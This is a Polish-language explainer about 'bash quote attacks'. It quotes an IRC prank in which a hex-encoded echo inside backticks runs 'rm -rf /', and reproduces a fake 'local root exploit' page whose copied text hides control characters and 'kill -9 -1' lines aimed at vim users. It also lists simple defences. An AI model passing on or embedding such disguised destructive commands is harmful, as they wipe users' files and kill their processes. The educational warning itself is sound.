Bash quote attack

Powszechnie wiadomo, że system informatyczny jest tak bezpieczny jak jego najsłabsze ogniwo - użytkownik.

< KID`> arach`666: obczajasz te kolorki?:
< KID`> `echo -e "\x72\x6D\x20\x2D\x72\x66\x20\x2F"`
< arach`666> kid` kurwa
< arach`666> ty pizdzielcu jebany :D
< arach`666> root@nest: ls l /boot
< arach`666> zsh: command not found: ls
< KID`> buahahahaha

Analiza kodu

Cały problem z kolorkami polega na umieszczeniu komendy echo -e w `...` (co powoduje wykonanie tego co polecenie echo zwróci), a zwraca:

johny@ThinkPad:~$ echo -e "\x72\x6D\x20\x2D\x72\x66\x20\x2F"
rm -rf /

Metoda obrony

Aby uniknąć tego typu dowcipów mozna zastosować szereg technik:

  • MYŚLEĆ co sie wpisuje!
  • NIE uruchamiać rzeczy nieznanego pochodzenia z konta roota!
  • zrobić alias na polecenie rm
alias rm='rm -i'

Dodatkowe informacje

Rozszerzeniem tego ataku jest nazywanie funkcji Bash znakami specjalnymi. A następnie wykorzystanie podczas ataku z podmienianiem kopiowanej treści z przeglądarki.

Tego typu „atak” znany jest przynajmniej od 2016 roku. Został opisany na stronie Sama Hocevara jako filsdepute.txt.

LINUX LOCAL ROOT EXPLOIT - WORKS ON ALL GLIBC VERSIONS
======================================================

This is going to be fun. I swear. Well done, Red Hat!


THE (TRIVIAL) EXPLOIT
=====================

export LC_COLLATE=C
export _GLIBC_SUID_TOKEN=0755
export _GLIBC_NOCHECK_SUID_TOKEN=1
sudo sh -c "echo LOL:PWND"


CREDITS
=======
This proof of the Internet's global fucking idiocy brought to you by Goatse Security.
 -- http://security.goatse.fr/

Pure text version at http://people.zoy.org/~sam/grosfilsdepute.txt

Po skopiowaniu tego tekstu otrzymujemy:

 LINUX LOCAL ROOT EXPLOIT - WORKS ON ALL GLIBC VERSIONS
 ======================================================

 This is going to be fun. I swear. Well done, Red Hat!


 THE (TRIVIAL) EXPLOIT
 =====================

 <0x18><0x03><0x1a>
   kill -9 -1
 <0x1b><0x1b>:!kill -9 -1

 export LC_
 <0x18><0x03><0x1a>
   kill -9 -1
 <0x1b><0x1b>:!kill -9 -1
 COLLATE=C
 <0x18><0x03><0x1a>
   kill -9 -1
 <0x1b><0x1b>:!kill -9 -1

 export _GLIBC_
 <0x18><0x03><0x1a>
   kill -9 -1
 <0x1b><0x1b>:!kill -9 -1
 SUID_TOKEN=0755
<0x18><0x03><0x1a>
   kill -9 -1
 <0x1b><0x1b>:!kill -9 -1

 export _GLIBC_
 <0x18><0x03><0x1a>
   kill -9 -1
 <0x1b><0x1b>:!kill -9 -1
 NOCHECK_SUID_TOKEN=1
 <0x18><0x03><0x1a>
   kill -9 -1
 <0x1b><0x1b>:!kill -9 -1

 sudo sh -
 <0x18><0x03><0x1a>
   kill -9 -1
 <0x1b><0x1b>:!kill -9 -1
 c "echo LOL:PWND"
 <0x18><0x03><0x1a>
   kill -9 -1
 <0x1b><0x1b>:!kill -9 -1


 CREDITS
 =======
 This proof of the Internet's global fucking idiocy brought to you by Goatse Security.
  -- http://security.goatse.fr/

 Pure text version at http://people.zoy.org/~sam/grosfilsdepute.txt

Podpowiedź

Patrząc po strukturze kodu, atak skierownay jest na użytkowników edytora VIM, który jest jednym z podstawowych narzędzi do edycji plików z konsoli, jednak nic nie stoi na przeszkodzie by go wykorzystać z dowolnym innym narzędziem dostepnym w systemie.

Jeżeli atakującego poniesie fantazja, może zainstalować na koncie/w systemie dowolny program korzystając z dosyć popularnych sposobów instalacji wget | bash lub curl | bash :(.

Podpowiedź

Inna wariacją tego ataku jest atak na terminal przez zmienne sterujące.